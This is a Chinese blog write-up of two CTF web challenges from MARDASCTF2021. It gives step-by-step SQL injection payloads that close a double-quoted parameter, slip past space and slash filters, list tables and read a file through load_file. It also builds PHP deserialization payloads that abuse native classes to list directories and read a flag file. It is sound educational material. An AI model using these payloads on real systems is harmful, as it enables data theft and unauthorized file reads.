MARDASCTF2021

BestDB -sql注入类型

1

一看就感觉存在sql注入,重点是如何闭合,绕过。

F12 发现 $sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";

刚开始没有注意到 OR username = \"$query\""; giao ,一直在通过进行注入,但是都 Forbidden!!!了,过滤了单引号

然后尝试输入username尝试,当$query值为lisi时候我们进行闭合会有回显,而且只有个简单的空格过滤,/**/绕过即可。

1
2
3
lisi"/**/and/**/1=1# 回显正常
lisi"/**/and/**/1=2# 报错
说明存在注入。
1
2
3
lisi"/**/order/**/by/**/3#  回显正常
lisi"/**/order/**/by/**/4# 不回显。

1
2
3
查数据库名
lisi"/**/union/**/select/**/(select/**/group_concat(schema_name)/**/from/**/information_schema.schemata)2,3#
可有可无这

2

1
2
3
4
5
6
7
查表名
lisi"/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),2,3#

过滤了单引号'dataabse()'就不能使用,
正常在数据库查询,表名需带反引号,在php端中并不需要

f1agdas,users两个表
1
2
3
4
5
6
查字段名
lisi"/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="f1agdas"),2,3#

"f1agdas"记得双引号

id,f1agdas
1
2
3
4
5
6
7
查数据

lisi"/**/union/**/select/**/(select/**/f1agdas/**/from/**/f1agdas),2,3#

flag.txt


1
2
3
4
读文件
lisi"/**/union/**/select/**/(select/**/load_file(0x2f666c61672e747874)),2,3#

/flag.txt进行十六进制或者CHAR()是为了绕过对"/"过滤

3

ez_serialize

先贴上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
error_reporting(0);
highlight_file(__FILE__);

class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}

}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{

function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}


if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;

} hello ctfer

https://www.anquanke.com/post/id/167140#h2-5

以前没有见过,这里存在动态拼接类,我们需要原生类进行去读文件。

一.可遍历目录类

1
DirectoryIteratorFilesystemIterator

GlobIterator 与上面略不同,该类可以通过模式匹配来寻找文件路径。

二.可读取文件类

SplFileObject 在此函数中,URL 可作为文件名,不过也要受到allow_url_fopen影响

参考http://www.plasf.cn/articles/dasctf202103.html

1
<?phpclass A{    public $class = 'FilesystemIterator';    public $para ="/var/www/html";    public $check ;}$pop=new A();$pop=serialize($pop);var_dump($pop);

4

1
<?phpclass A{    public $class='SplFileObject';    public $para="/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";    public $check;    }$o  = new A();echo serialize($o);

5


利用原生类来反序列化,题目我第一次见,参考了网上的博客,

因为php原生类有很多的特定功能。


https://shimo.im/docs/V1hLlJ0RoRkI7Si9/ 各位大佬wp

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信